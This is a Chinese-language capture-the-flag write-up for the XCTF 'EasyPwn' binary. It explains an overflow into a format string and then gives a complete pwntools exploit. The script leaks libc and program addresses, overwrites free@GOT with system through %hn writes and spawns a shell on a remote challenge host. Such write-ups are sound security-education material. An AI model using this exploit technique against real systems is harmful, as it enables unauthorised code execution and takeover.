xctf-EasyPwn-WP

Posted on Jan 28, 2021

很久没做xctf的题了,这道题其实不难,但是漏洞点不容易看出来(菜如我就没看出来)

这里的v2其实是有溢出的,v2的大小仅有0x3EBs的大小却有0x400,这样就可以覆写v3,而C的格式化字符串家族的函数对于格式化字符串的处理都是传入字符串头指针,向后遍历到'\x00'为止的,所以我们在%s后面接上格式化字符串也是有效的,又由于是栈上格式化字符串,可以容易地实现任意地址读写。比较麻烦的是参数位置的计算,本题中我还不知道该怎么算,就只能用老办法试了(也就是%p打出值在gdb里面看stack比对,发现不是与rsp距离+6而是+4)。

#!/usr/bin/env python
# coding=utf-8
from pwn import *

#sh = process("./pwn1")
sh = remote("111.200.241.243",58149)
libc = ELF("./libc.so.6")
elf = ELF("./pwn1")

payload = 'a' * (0x7f0 - 0x408) + "en" + "start%397$p-end"
#print payload
sh.sendlineafter("Code:\n","1")
sh.sendlineafter("2017:\n",payload)

sh.recvuntil("start")
sh.recvuntil("start")
libc_base = int(sh.recvuntil("-end",drop = True),base = 16)
libc_base -= (libc.symbols["__libc_start_main"] + 0xF0)
log.success("libc base:" + hex(libc_base))

payload = 'a' * (0x7f0 - 0x408) + "en" + "start%389$p-end"
sh.sendlineafter("Code:\n","1")
sh.sendlineafter("2017:\n",payload)
sh.recvuntil("start")
sh.recvuntil("start")
prog_base = int(sh.recvuntil("-end",drop = True),base = 16) - 0xcf9
log.success("prog base:" + hex(prog_base))

system_addr = libc_base + libc.symbols["system"]
log.success("system addr:" + hex(system_addr))
free_addr = libc_base + libc.symbols["free"]
log.success("free addr:" + hex(free_addr))
free_got = prog_base + elf.got["free"]
log.success("free@got:" + hex(free_got))

sh.sendlineafter("Code:\n","2")
sh.sendlineafter("Name:\n","pwn")

add_len = (system_addr & 0xFFFF) - (0x7F0 - 0x408) - 0x10 - 8 + 2
payload = 'a' * (0x7f0 - 0x408) + ("en" + "%" + str(add_len) + 'c' + "%133$hn").ljust(16,"a")
payload += p64(free_got)
print (payload)
sh.sendlineafter("Code:\n","1")
sh.sendlineafter("2017:\n",payload)

add_len = ((system_addr >> 16) & 0xFFFF) - (0x7F0 - 0x408) - 0x10 - 8 + 2
payload = 'a' * (0x7f0 - 0x408) + ("en" + "%" + str(add_len) + 'c' + "%133$hn").ljust(16,"a")
payload += p64(free_got + 2)
sh.sendlineafter("Code:\n","1")
sh.sendlineafter("2017:\n",payload)

sh.sendlineafter("Code:\n","2")
sh.sendlineafter("Name:\n","/bin/sh")

sh.interactive()